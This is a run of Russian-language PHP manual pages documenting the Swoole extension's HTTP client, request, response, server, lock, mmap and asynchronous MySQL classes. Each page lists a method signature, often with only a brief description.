  • Swoole\Http\Client::push — Передаёт данные в клиент websocket
  • Swoole\Http\Client::set — Обновляет параметры HTTP-клиента
  • Swoole\Http\Client::setCookies — Устанавливает cookies для HTTP-запроса
  • Swoole\Http\Client::setData — Устанавливает данные тела HTTP-запроса
  • Swoole\Http\Client::setHeaders — Устанавливает заголовки HTTP-запроса
  • Swoole\Http\Client::setMethod — Устанавливает метод HTTP-запроса
  • Swoole\Http\Client::upgrade — Обновление до протокола websocket

User Contributed Notes

There are no user contributed notes for this page.


Добавляет файл в форму сообщения

  • « Swoole\Http\Client
  • Swoole\Http\Client::close »
  • PHP Manual
  • Swoole\Http\Client
  • Добавляет файл в форму сообщения

Swoole\Http\Client::addFile

(PECL swoole >= 1.9.0)

Swoole\Http\Client::addFile — Добавляет файл в форму сообщения

Описание

public Swoole\Http\Client::addFile(
string $path,
string $name,
string $type = ?,
string $filename = ?,
string $offset = ?
): void

Список параметров

path

name

type

filename

offset

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Закрывает http-соединение

  • « Swoole\Http\Client::addFile
  • Swoole\Http\Client::__construct »
  • PHP Manual
  • Swoole\Http\Client
  • Закрывает http-соединение

Swoole\Http\Client::close

(PECL swoole >= 1.9.0)

Swoole\Http\Client::close — Закрывает http-соединение

Описание

public Swoole\Http\Client::close(): void

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Создаёт асинхронный HTTP-клиент

  • « Swoole\Http\Client::close
  • Swoole\Http\Client::__destruct »
  • PHP Manual
  • Swoole\Http\Client
  • Создаёт асинхронный HTTP-клиент

Swoole\Http\Client::__construct

(PECL swoole >= 1.9.0)

Swoole\Http\Client::__construct — Создаёт асинхронный HTTP-клиент

Описание

public Swoole\Http\Client::__construct(string $host, string $port = ?, bool $ssl = ?)

Список параметров

host

Имя удалённого хоста.

port

Номер порта удалённого хоста.

ssl

Определяет, поддержку SSL.

User Contributed Notes

There are no user contributed notes for this page.


Уничтожает HTTP-клиент

  • « Swoole\Http\Client::__construct
  • Swoole\Http\Client::download »
  • PHP Manual
  • Swoole\Http\Client
  • Уничтожает HTTP-клиент

Swoole\Http\Client::__destruct

(PECL swoole >= 1.9.0)

Swoole\Http\Client::__destruct — Уничтожает HTTP-клиент

Описание

public Swoole\Http\Client::__destruct(): void

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Загружает файл с удалённого сервера

  • « Swoole\Http\Client::__destruct
  • Swoole\Http\Client::execute »
  • PHP Manual
  • Swoole\Http\Client
  • Загружает файл с удалённого сервера

Swoole\Http\Client::download

(PECL swoole >= 1.9.0)

Swoole\Http\Client::download — Загружает файл с удалённого сервера

Описание

public Swoole\Http\Client::download(
string $path,
string $file,
callable $callback,
int $offset = ?
): void

Список параметров

path

file

callback

offset

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Посылает HTTP-запрос после установки параметров

  • « Swoole\Http\Client::download
  • Swoole\Http\Client::get »
  • PHP Manual
  • Swoole\Http\Client
  • Посылает HTTP-запрос после установки параметров

Swoole\Http\Client::execute

(PECL swoole >= 1.9.0)

Swoole\Http\Client::execute — Посылает HTTP-запрос после установки параметров

Описание

public Swoole\Http\Client::execute(string $path, string $callback): void

Список параметров

path

callback

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Отправляет HTTP-запрос GET на удалённый сервер

  • « Swoole\Http\Client::execute
  • Swoole\Http\Client::isConnected »
  • PHP Manual
  • Swoole\Http\Client
  • Отправляет HTTP-запрос GET на удалённый сервер

Swoole\Http\Client::get

(PECL swoole >= 1.9.0)

Swoole\Http\Client::get — Отправляет HTTP-запрос GET на удалённый сервер

Описание

public Swoole\Http\Client::get(string $path, callable $callback): void

Список параметров

path

callback

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, подключено ли соединение HTTP

  • « Swoole\Http\Client::get
  • Swoole\Http\Client::on »
  • PHP Manual
  • Swoole\Http\Client
  • Проверяет, подключено ли соединение HTTP

Swoole\Http\Client::isConnected

(PECL swoole >= 1.9.0)

Swoole\Http\Client::isConnected — Проверяет, подключено ли соединение HTTP

Описание

public Swoole\Http\Client::isConnected(): bool

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Регистрирует callback-функцию по имени события

  • « Swoole\Http\Client::isConnected
  • Swoole\Http\Client::post »
  • PHP Manual
  • Swoole\Http\Client
  • Регистрирует callback-функцию по имени события

Swoole\Http\Client::on

(PECL swoole >= 1.9.0)

Swoole\Http\Client::on — Регистрирует callback-функцию по имени события

Описание

public Swoole\Http\Client::on(string $event_name, callable $callback): void

Список параметров

event_name

callback

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Отправляет HTTP-запрос POST на удалённый сервер

  • « Swoole\Http\Client::on
  • Swoole\Http\Client::push »
  • PHP Manual
  • Swoole\Http\Client
  • Отправляет HTTP-запрос POST на удалённый сервер

Swoole\Http\Client::post

(PECL swoole >= 1.9.0)

Swoole\Http\Client::post — Отправляет HTTP-запрос POST на удалённый сервер

Описание

public Swoole\Http\Client::post(string $path, string $data, callable $callback): void

Список параметров

path

data

callback

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Передаёт данные в клиент websocket

  • « Swoole\Http\Client::post
  • Swoole\Http\Client::set »
  • PHP Manual
  • Swoole\Http\Client
  • Передаёт данные в клиент websocket

Swoole\Http\Client::push

(PECL swoole >= 1.9.0)

Swoole\Http\Client::push — Передаёт данные в клиент websocket

Описание

public Swoole\Http\Client::push(string $data, string $opcode = ?, string $finish = ?): void

Список параметров

data

opcode

finish

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Обновляет параметры HTTP-клиента

  • « Swoole\Http\Client::push
  • Swoole\Http\Client::setCookies »
  • PHP Manual
  • Swoole\Http\Client
  • Обновляет параметры HTTP-клиента

Swoole\Http\Client::set

(PECL swoole >= 1.9.0)

Swoole\Http\Client::set — Обновляет параметры HTTP-клиента

Описание

public Swoole\Http\Client::set(array $settings): void

Список параметров

settings

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает cookies для HTTP-запроса

  • « Swoole\Http\Client::set
  • Swoole\Http\Client::setData »
  • PHP Manual
  • Swoole\Http\Client
  • Устанавливает cookies для HTTP-запроса

Swoole\Http\Client::setCookies

(PECL swoole >= 1.9.0)

Swoole\Http\Client::setCookies — Устанавливает cookies для HTTP-запроса

Описание

public Swoole\Http\Client::setCookies(array $cookies): void

Список параметров

cookies

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает данные тела HTTP-запроса

  • « Swoole\Http\Client::setCookies
  • Swoole\Http\Client::setHeaders »
  • PHP Manual
  • Swoole\Http\Client
  • Устанавливает данные тела HTTP-запроса

Swoole\Http\Client::setData

(PECL swoole >= 1.9.0)

Swoole\Http\Client::setData — Устанавливает данные тела HTTP-запроса

Описание

public Swoole\Http\Client::setData(string $data): ReturnType

Метод HTTP будет изменён на POST.

Список параметров

data

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает заголовки HTTP-запроса

  • « Swoole\Http\Client::setData
  • Swoole\Http\Client::setMethod »
  • PHP Manual
  • Swoole\Http\Client
  • Устанавливает заголовки HTTP-запроса

Swoole\Http\Client::setHeaders

(PECL swoole >= 1.9.0)

Swoole\Http\Client::setHeaders — Устанавливает заголовки HTTP-запроса

Описание

public Swoole\Http\Client::setHeaders(array $headers): void

Список параметров

headers

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает метод HTTP-запроса

  • « Swoole\Http\Client::setHeaders
  • Swoole\Http\Client::upgrade »
  • PHP Manual
  • Swoole\Http\Client
  • Устанавливает метод HTTP-запроса

Swoole\Http\Client::setMethod

(PECL swoole >= 1.9.0)

Swoole\Http\Client::setMethod — Устанавливает метод HTTP-запроса

Описание

public Swoole\Http\Client::setMethod(string $method): void

Список параметров

method

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Обновление до протокола websocket

  • « Swoole\Http\Client::setMethod
  • Swoole\Http\Request »
  • PHP Manual
  • Swoole\Http\Client
  • Обновление до протокола websocket

Swoole\Http\Client::upgrade

(PECL swoole >= 1.9.0)

Swoole\Http\Client::upgrade — Обновление до протокола websocket

Описание

public Swoole\Http\Client::upgrade(string $path, string $callback): void

Список параметров

path

callback

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Класс Swoole\Http\Request

(PECL swoole >= 1.9.0)

Введение

Обзор классов

class Swoole\Http\Request {
/* Методы */
public __destruct(): void
public rawcontent(): string
}

Содержание

  • Swoole\Http\Request::__destruct — Уничтожает HTTP-запрос
  • Swoole\Http\Request::rawcontent — Получает необработанное тело HTTP POST

User Contributed Notes

There are no user contributed notes for this page.


Уничтожает HTTP-запрос

  • « Swoole\Http\Request
  • Swoole\Http\Request::rawcontent »
  • PHP Manual
  • Swoole\Http\Request
  • Уничтожает HTTP-запрос

Swoole\Http\Request::__destruct

(PECL swoole >= 1.9.0)

Swoole\Http\Request::__destruct — Уничтожает HTTP-запрос

Описание

public Swoole\Http\Request::__destruct(): void

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получает необработанное тело HTTP POST

  • « Swoole\Http\Request::__destruct
  • Swoole\Http\Response »
  • PHP Manual
  • Swoole\Http\Request
  • Получает необработанное тело HTTP POST

Swoole\Http\Request::rawcontent

(PECL swoole >= 1.9.0)

Swoole\Http\Request::rawcontent — Получает необработанное тело HTTP POST

Описание

public Swoole\Http\Request::rawcontent(): string

Метод используется для данных POST, которые не имеют форму `application/x-www-form-urlencoded`.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Класс Swoole\Http\Response

(PECL swoole >= 1.9.0)

Введение

Обзор классов

class Swoole\Http\Response {
/* Методы */
public cookie(
string $name,
string $value = ?,
string $expires = ?,
string $path = ?,
string $domain = ?,
string $secure = ?,
string $httponly = ?
): string
public __destruct(): void
public end(string $content = ?): void
public gzip(string $compress_level = ?): ReturnType
public header(string $key, string $value, string $ucwords = ?): void
public initHeader(): ReturnType
public rawcookie(
string $name,
string $value = ?,
string $expires = ?,
string $path = ?,
string $domain = ?,
string $secure = ?,
string $httponly = ?
): ReturnType
public sendfile(string $filename, int $offset = ?): ReturnType
public status(string $http_code): ReturnType
public write(string $content): void
}

Содержание

  • Swoole\Http\Response::cookie — Устанавливает cookie HTTP-ответа
  • Swoole\Http\Response::__destruct — Уничтожает HTTP-ответ
  • Swoole\Http\Response::end — Отправляет данные HTTP-запроса и завершает ответ
  • Swoole\Http\Response::gzip — Включает gzip-сжатие содержимого ответа.
  • Swoole\Http\Response::header — Устанавливает заголовки HTTP-ответа
  • Swoole\Http\Response::initHeader — Инициировать заголовок HTTP-ответа
  • Swoole\Http\Response::rawcookie — Устанавливает необработанные cookie в HTTP-ответ
  • Swoole\Http\Response::sendfile — Отправляет файл через HTTP-ответ
  • Swoole\Http\Response::status — Устанавливает код состояния HTTP-ответа
  • Swoole\Http\Response::write — Добавляет содержимое тела HTTP в HTTP-ответ

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает cookie HTTP-ответа

  • « Swoole\Http\Response
  • Swoole\Http\Response::__destruct »
  • PHP Manual
  • Swoole\Http\Response
  • Устанавливает cookie HTTP-ответа

Swoole\Http\Response::cookie

(PECL swoole >= 1.9.0)

Swoole\Http\Response::cookie — Устанавливает cookie HTTP-ответа

Описание

public Swoole\Http\Response::cookie(
string $name,
string $value = ?,
string $expires = ?,
string $path = ?,
string $domain = ?,
string $secure = ?,
string $httponly = ?
): string

Список параметров

name

value

expires

path

domain

secure

httponly

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Уничтожает HTTP-ответ

  • « Swoole\Http\Response::cookie
  • Swoole\Http\Response::end »
  • PHP Manual
  • Swoole\Http\Response
  • Уничтожает HTTP-ответ

Swoole\Http\Response::__destruct

(PECL swoole >= 1.9.0)

Swoole\Http\Response::__destruct — Уничтожает HTTP-ответ

Описание

public Swoole\Http\Response::__destruct(): void

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Отправляет данные HTTP-запроса и завершает ответ

  • « Swoole\Http\Response::__destruct
  • Swoole\Http\Response::gzip »
  • PHP Manual
  • Swoole\Http\Response
  • Отправляет данные HTTP-запроса и завершает ответ

Swoole\Http\Response::end

(PECL swoole >= 1.9.0)

Swoole\Http\Response::end — Отправляет данные HTTP-запроса и завершает ответ

Описание

public Swoole\Http\Response::end(string $content = ?): void

Список параметров

content

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Включает gzip-сжатие содержимого ответа.

  • « Swoole\Http\Response::end
  • Swoole\Http\Response::header »
  • PHP Manual
  • Swoole\Http\Response
  • Включает gzip-сжатие содержимого ответа.

Swoole\Http\Response::gzip

(PECL swoole >= 1.9.0)

Swoole\Http\Response::gzip — Включает gzip-сжатие содержимого ответа.

Описание

public Swoole\Http\Response::gzip(string $compress_level = ?): ReturnType

Заголовок о Content-Encoding будет добавлен автоматически.

Список параметров

compress_level

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает заголовки HTTP-ответа

  • « Swoole\Http\Response::gzip
  • Swoole\Http\Response::initHeader »
  • PHP Manual
  • Swoole\Http\Response
  • Устанавливает заголовки HTTP-ответа

Swoole\Http\Response::header

(PECL swoole >= 1.9.0)

Swoole\Http\Response::header — Устанавливает заголовки HTTP-ответа

Описание

public Swoole\Http\Response::header(string $key, string $value, string $ucwords = ?): void

Список параметров

key

value

ucwords

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Инициировать заголовок HTTP-ответа

  • « Swoole\Http\Response::header
  • Swoole\Http\Response::rawcookie »
  • PHP Manual
  • Swoole\Http\Response
  • Инициировать заголовок HTTP-ответа

Swoole\Http\Response::initHeader

(PECL swoole >= 1.9.0)

Swoole\Http\Response::initHeader — Инициировать заголовок HTTP-ответа

Описание

public Swoole\Http\Response::initHeader(): ReturnType

Инициировать заголовок HTTP-ответа.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает необработанные cookie в HTTP-ответ

  • « Swoole\Http\Response::initHeader
  • Swoole\Http\Response::sendfile »
  • PHP Manual
  • Swoole\Http\Response
  • Устанавливает необработанные cookie в HTTP-ответ

Swoole\Http\Response::rawcookie

(PECL swoole >= 1.9.0)

Swoole\Http\Response::rawcookie — Устанавливает необработанные cookie в HTTP-ответ

Описание

public Swoole\Http\Response::rawcookie(
string $name,
string $value = ?,
string $expires = ?,
string $path = ?,
string $domain = ?,
string $secure = ?,
string $httponly = ?
): ReturnType

Список параметров

name

value

expires

path

domain

secure

httponly

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Отправляет файл через HTTP-ответ

  • « Swoole\Http\Response::rawcookie
  • Swoole\Http\Response::status »
  • PHP Manual
  • Swoole\Http\Response
  • Отправляет файл через HTTP-ответ

Swoole\Http\Response::sendfile

(PECL swoole >= 1.9.0)

Swoole\Http\Response::sendfile — Отправляет файл через HTTP-ответ

Описание

public Swoole\Http\Response::sendfile(string $filename, int $offset = ?): ReturnType

Отправляет файл через HTTP-ответ.

Список параметров

filename

offset

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает код состояния HTTP-ответа

  • « Swoole\Http\Response::sendfile
  • Swoole\Http\Response::write »
  • PHP Manual
  • Swoole\Http\Response
  • Устанавливает код состояния HTTP-ответа

Swoole\Http\Response::status

(PECL swoole >= 1.9.0)

Swoole\Http\Response::status — Устанавливает код состояния HTTP-ответа

Описание

public Swoole\Http\Response::status(string $http_code): ReturnType

Устанавливает код состояния HTTP-ответа.

Список параметров

http_code

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Добавляет содержимое тела HTTP в HTTP-ответ

  • « Swoole\Http\Response::status
  • Swoole\Http\Server »
  • PHP Manual
  • Swoole\Http\Response
  • Добавляет содержимое тела HTTP в HTTP-ответ

Swoole\Http\Response::write

(PECL swoole >= 1.9.0)

Swoole\Http\Response::write — Добавляет содержимое тела HTTP в HTTP-ответ

Описание

public Swoole\Http\Response::write(string $content): void

Добавляет содержимое тела HTTP в HTTP-ответ.

Список параметров

content

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Класс Swoole\Http\Server

(PECL swoole >= 1.9.0)

Введение

Обзор классов

class Swoole\Http\Server extends Swoole\Server {
/* Методы */
public on(string $event_name, callable $callback): void
public start(): void
/* Наследуемые методы */
public Swoole\Server::addlistener(string $host, int $port, string $socket_type): void
public Swoole\Server::addProcess(swoole_process $process): bool
public Swoole\Server::after(int $after_time_ms, callable $callback, string $param = ?): ReturnType
public Swoole\Server::bind(int $fd, int $uid): bool
public Swoole\Server::clearTimer(int $timer_id): void
swoole_timer_clear(int $timer_id): void
public Swoole\Server::close(int $fd, bool $reset = ?): bool
public Swoole\Server::confirm(int $fd): bool
public Swoole\Server::connection_info(int $fd, int $reactor_id = ?): array
public Swoole\Server::connection_list(int $start_fd, int $pagesize = ?): array
public Swoole\Server::defer(callable $callback): void
public Swoole\Server\Port::__destruct(): void
public Swoole\Server\Port::on(string $event_name, callable $callback): ReturnType
public Swoole\Server\Port::set(array $settings): void
public Swoole\Server::exist(int $fd): bool
public Swoole\Server::finish(string $data): void
public Swoole\Server::getClientInfo(int $fd, int $reactor_id = ?, bool $ignore_error = ?): array
public Swoole\Server::getClientList(int $start_fd, int $pagesize = ?): array
public Swoole\Server::getLastError(): int
public Swoole\Server::heartbeat(bool $if_close_connection): mixed
public Swoole\Server::listen(string $host, int $port, string $socket_type): bool
public Swoole\Server::on(string $event_name, callable $callback): void
public Swoole\Server::pause(int $fd): void
public Swoole\Server::protect(int $fd, bool $is_protected = ?): void
public Swoole\Server::reload(): bool
public Swoole\Server::resume(int $fd): void
public Swoole\Server::send(int $fd, string $data, int $reactor_id = ?): bool
public Swoole\Server::sendfile(int $fd, string $filename, int $offset = ?): bool
public Swoole\Server::sendMessage(int $worker_id, string $data): bool
public Swoole\Server::sendto(
string $ip,
int $port,
string $data,
string $server_socket = ?
): bool
public Swoole\Server::sendwait(int $fd, string $data): bool
public Swoole\Server::set(array $settings): ReturnType
public Swoole\Server::shutdown(): void
public Swoole\Server::start(): void
public Swoole\Server::stats(): array
public Swoole\Server::stop(int $worker_id = ?): bool
public Swoole\Server::task(string $data, int $dst_worker_id = ?, callable $callback = ?): mixed
public Swoole\Server::taskwait(string $data, float $timeout = ?, int $worker_id = ?): void
public Swoole\Server::taskWaitMulti(array $tasks, float $timeout_ms = ?): void
public Swoole\Server::tick(int $interval_ms, callable $callback): void
}

Содержание

  • Swoole\Http\Server::on — Привязывает callback-функцию к HTTP-серверу по имени события
  • Swoole\Http\Server::start — Запускает http-сервер swoole

User Contributed Notes

There are no user contributed notes for this page.


Привязывает callback-функцию к HTTP-серверу по имени события

  • « Swoole\Http\Server
  • Swoole\Http\Server::start »
  • PHP Manual
  • Swoole\Http\Server
  • Привязывает callback-функцию к HTTP-серверу по имени события

Swoole\Http\Server::on

(PECL swoole >= 1.9.0)

Swoole\Http\Server::on — Привязывает callback-функцию к HTTP-серверу по имени события

Описание

public Swoole\Http\Server::on(string $event_name, callable $callback): void

Привязывает callback-функцию к HTTP-серверу по имени события.

Список параметров

event_name

callback

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Запускает http-сервер swoole

  • « Swoole\Http\Server::on
  • Swoole\Lock »
  • PHP Manual
  • Swoole\Http\Server
  • Запускает http-сервер swoole

Swoole\Http\Server::start

(PECL swoole >= 1.9.0)

Swoole\Http\Server::start — Запускает http-сервер swoole

Описание

public Swoole\Http\Server::start(): void

Запускает http-сервер swoole.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Класс Swoole\Lock

(PECL swoole >= 1.9.0)

Введение

Обзор классов

class Swoole\Lock {
/* Методы */
public __destruct(): void
public lock_read(): void
public lock(): void
public trylock_read(): void
public trylock(): void
public unlock(): void
}

Содержание

  • Swoole\Lock::__construct — Создаёт блокировку памяти
  • Swoole\Lock::__destruct — Уничтожает блокировку памяти Swoole
  • Swoole\Lock::lock_read — Блокирует чтение-запись блокировки для чтения
  • Swoole\Lock::lock — Пытается получить блокировку. Заблокируется, если блокировка недоступна
  • Swoole\Lock::trylock_read — Пытается заблокировать блокировку чтения-записи для чтения и сразу возвращает, даже если блокировка недоступна
  • Swoole\Lock::trylock — Пытается получить блокировку и сразу возвращает, даже если блокировка недоступна
  • Swoole\Lock::unlock — Снимает блокировку

User Contributed Notes

There are no user contributed notes for this page.


Создаёт блокировку памяти

  • « Swoole\Lock
  • Swoole\Lock::__destruct »
  • PHP Manual
  • Swoole\Lock
  • Создаёт блокировку памяти

Swoole\Lock::__construct

(PECL swoole >= 1.9.0)

Swoole\Lock::__construct — Создаёт блокировку памяти

Описание

public Swoole\Lock::__construct(string $type = ?, string $file_lock_location = ?)

Блокировка Swoole используется для синхронизации данных между несколькими операциями или процессами.

Список параметров

type

file_lock_location

User Contributed Notes

There are no user contributed notes for this page.


Уничтожает блокировку памяти Swoole

  • « Swoole\Lock::__construct
  • Swoole\Lock::lock_read »
  • PHP Manual
  • Swoole\Lock
  • Уничтожает блокировку памяти Swoole

Swoole\Lock::__destruct

(PECL swoole >= 1.9.0)

Swoole\Lock::__destruct — Уничтожает блокировку памяти Swoole

Описание

public Swoole\Lock::__destruct(): void

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Блокирует чтение-запись блокировки для чтения

  • « Swoole\Lock::__destruct
  • Swoole\Lock::lock »
  • PHP Manual
  • Swoole\Lock
  • Блокирует чтение-запись блокировки для чтения

Swoole\Lock::lock_read

(PECL swoole >= 1.9.0)

Swoole\Lock::lock_read — Блокирует чтение-запись блокировки для чтения

Описание

public Swoole\Lock::lock_read(): void

Блокирует чтение-запись блокировки для чтения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Пытается получить блокировку. Заблокируется, если блокировка недоступна

  • « Swoole\Lock::lock_read
  • Swoole\Lock::trylock_read »
  • PHP Manual
  • Swoole\Lock
  • Пытается получить блокировку. Заблокируется, если блокировка недоступна

Swoole\Lock::lock

(PECL swoole >= 1.9.0)

Swoole\Lock::lock — Пытается получить блокировку. Заблокируется, если блокировка недоступна

Описание

public Swoole\Lock::lock(): void

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Пытается заблокировать блокировку чтения-записи для чтения и сразу возвращает, даже если блокировка недоступна

  • « Swoole\Lock::lock
  • Swoole\Lock::trylock »
  • PHP Manual
  • Swoole\Lock
  • Пытается заблокировать блокировку чтения-записи для чтения и сразу возвращает, даже если блокировка недоступна

Swoole\Lock::trylock_read

(PECL swoole >= 1.9.0)

Swoole\Lock::trylock_read — Пытается заблокировать блокировку чтения-записи для чтения и сразу возвращает, даже если блокировка недоступна

Описание

public Swoole\Lock::trylock_read(): void

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Пытается получить блокировку и сразу возвращает, даже если блокировка недоступна

  • « Swoole\Lock::trylock_read
  • Swoole\Lock::unlock »
  • PHP Manual
  • Swoole\Lock
  • Пытается получить блокировку и сразу возвращает, даже если блокировка недоступна

Swoole\Lock::trylock

(PECL swoole >= 1.9.0)

Swoole\Lock::trylock — Пытается получить блокировку и сразу возвращает, даже если блокировка недоступна

Описание

public Swoole\Lock::trylock(): void

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Снимает блокировку

  • « Swoole\Lock::trylock
  • Swoole\Mmap »
  • PHP Manual
  • Swoole\Lock
  • Снимает блокировку

Swoole\Lock::unlock

(PECL swoole >= 1.9.0)

Swoole\Lock::unlock — Снимает блокировку

Описание

public Swoole\Lock::unlock(): void

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Класс Swoole\Mmap

(PECL swoole >= 1.9.0)

Введение

Обзор классов

class Swoole\Mmap {
/* Методы */
public static open(string $filename, string $size = ?, string $offset = ?): ReturnType
}

Содержание

  • Swoole\Mmap::open — Отобразить файл в память и вернуть ресурс потока, который может использоваться операциями потока PHP

User Contributed Notes

There are no user contributed notes for this page.


Отобразить файл в память и вернуть ресурс потока, который может использоваться операциями потока PHP

  • « Swoole\Mmap
  • Swoole\MySQL »
  • PHP Manual
  • Swoole\Mmap
  • Отобразить файл в память и вернуть ресурс потока, который может использоваться операциями потока PHP

Swoole\Mmap::open

(PECL swoole >= 1.9.0)

Swoole\Mmap::open — Отобразить файл в память и вернуть ресурс потока, который может использоваться операциями потока PHP

Описание

public static Swoole\Mmap::open(string $filename, string $size = ?, string $offset = ?): ReturnType

Список параметров

filename

size

offset

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Класс Swoole\MySQL

(PECL swoole >= 1.9.0)

Введение

Обзор классов

class Swoole\MySQL {
/* Методы */
public close(): void
public connect(array $server_config, callable $callback): void
public __destruct(): void
public getBuffer(): ReturnType
public on(string $event_name, callable $callback): void
public query(string $sql, callable $callback): ReturnType
}

Содержание

  • Swoole\MySQL::close — Закрывает асинхронное соединение MySQL
  • Swoole\MySQL::connect — Подключается к удалённому серверу MySQL
  • Swoole\MySQL::__construct — Создаёт асинхронный клиент MySQL
  • Swoole\MySQL::__destruct — Уничтожает асинхронный клиент MySQL
  • Swoole\MySQL::getBuffer — Описание
  • Swoole\MySQL::on — Регистрирует callback-функцию на основе имени события
  • Swoole\MySQL::query — Выполняет запрос SQL

User Contributed Notes

There are no user contributed notes for this page.


Закрывает асинхронное соединение MySQL

  • « Swoole\MySQL
  • Swoole\MySQL::connect »
  • PHP Manual
  • Swoole\MySQL
  • Закрывает асинхронное соединение MySQL

Swoole\MySQL::close

(PECL swoole >= 1.9.0)

Swoole\MySQL::close — Закрывает асинхронное соединение MySQL

Описание

public Swoole\MySQL::close(): void

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Подключается к удалённому серверу MySQL

  • « Swoole\MySQL::close
  • Swoole\MySQL::__construct »
  • PHP Manual
  • Swoole\MySQL
  • Подключается к удалённому серверу MySQL

Swoole\MySQL::connect

(PECL swoole >= 1.9.0)

Swoole\MySQL::connect — Подключается к удалённому серверу MySQL

Описание

public Swoole\MySQL::connect(array $server_config, callable $callback): void

Подключается к удалённому серверу MySQL.

Список параметров

server_config

callback

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Создаёт асинхронный клиент MySQL

  • « Swoole\MySQL::connect
  • Swoole\MySQL::__destruct »
  • PHP Manual
  • Swoole\MySQL
  • Создаёт асинхронный клиент MySQL

Swoole\MySQL::__construct

(PECL swoole >= 1.9.0)

Swoole\MySQL::__construct — Создаёт асинхронный клиент MySQL

Описание

public Swoole\MySQL::__construct()

Создаёт асинхронный клиент MySQL.

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Уничтожает асинхронный клиент MySQL

  • « Swoole\MySQL::__construct
  • Swoole\MySQL::getBuffer »
  • PHP Manual
  • Swoole\MySQL
  • Уничтожает асинхронный клиент MySQL

Swoole\MySQL::__destruct

(PECL swoole >= 1.9.0)

Swoole\MySQL::__destruct — Уничтожает асинхронный клиент MySQL

Описание

public Swoole\MySQL::__destruct(): void

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « Swoole\MySQL::__destruct
  • Swoole\MySQL::on »
  • PHP Manual
  • Swoole\MySQL
  • Описание

Swoole\MySQL::getBuffer

(PECL swoole >= 1.9.0)

Swoole\MySQL::getBuffer — Описание

Описание

public Swoole\MySQL::getBuffer(): ReturnType

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Регистрирует callback-функцию на основе имени события

  • « Swoole\MySQL::getBuffer
  • Swoole\MySQL::query »
  • PHP Manual
  • Swoole\MySQL
  • Регистрирует callback-функцию на основе имени события

Swoole\MySQL::on

(PECL swoole >= 1.9.0)

Swoole\MySQL::on — Регистрирует callback-функцию на основе имени события

Описание

public Swoole\MySQL::on(string $event_name, callable $callback): void

Регистрирует callback-функцию на основе имени события, на данный момент поддерживается только событие 'close'.

Список параметров

event_name

callback

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Выполняет запрос SQL

  • « Swoole\MySQL::on
  • Swoole\MySQL\Exception »
  • PHP Manual
  • Swoole\MySQL
  • Выполняет запрос SQL

Swoole\MySQL::query

(PECL swoole >= 1.9.0)

Swoole\MySQL::query — Выполняет запрос SQL

Описание

public Swoole\MySQL::query(string $sql, callable $callback): ReturnType

Список параметров

sql

callback

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Класс Swoole\MySQL\Exception

(PECL swoole >= 1.9.0)

Введение

Обзор классов

class Swoole\MySQL\Exception extends Exception implements Throwable {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
}

User Contributed Notes

There are no user contributed notes for this page.


